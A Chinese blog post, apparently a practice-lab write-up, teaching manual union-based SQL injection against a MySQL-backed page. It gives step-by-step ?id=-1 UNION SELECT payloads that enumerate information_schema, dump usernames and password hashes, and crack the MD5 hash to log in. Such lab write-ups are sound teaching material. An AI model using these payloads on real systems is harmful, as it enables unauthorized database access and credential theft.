MySQL简单手工注入
题目是墨者里的一道入门题
访问靶场,找到有注入点的地方
一、测试是否有注入漏洞
在需要传递参数的地方进行测试
发现页面显示有错,则存在注入漏洞:
- 猜解列名数量(字段数),使用order by来进行猜解
- 报错猜解准备 例如:?id=-1 union select 1,2,3,4
二、信息收集
- 版本:version()
- 数据库名字:database()
- 用户名:user()
- 操作系统:@@version_compile_os
- …
因此能找出以下信息:
- 版本:5.7.22-0ubuntu0.16.04.1
- 数据库名字:mozhe_Discuz_StormGroup
- 用户名:root@localhost
- 操作系统:Linux
三、数据注入
- 在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名和列名的数据库,也相当于可以通过它获取指定数据库下面的表名或列名信息
- 数据库中用符号"."代表下一级
- information_schema.tables:记录所有表名的表
- information_schema.columns:记录所有列名的表
一、通过sql语句将数据库下的所有表名显示出来:
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup’
如图:
二、再通过这个表名将下面的所有列名显示出来:
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member’
如图:
三、只需要将name和password显示出来:
?id=-1 union select 1,name,password,4 from StormGroup_member limit x,1
因为可能存在多解情况,因此要逐个试一遍,让x=0,1,2…
最后的结果是:
?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
将密码用md5解密,登录成功后即可获得key
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 风清竹喧!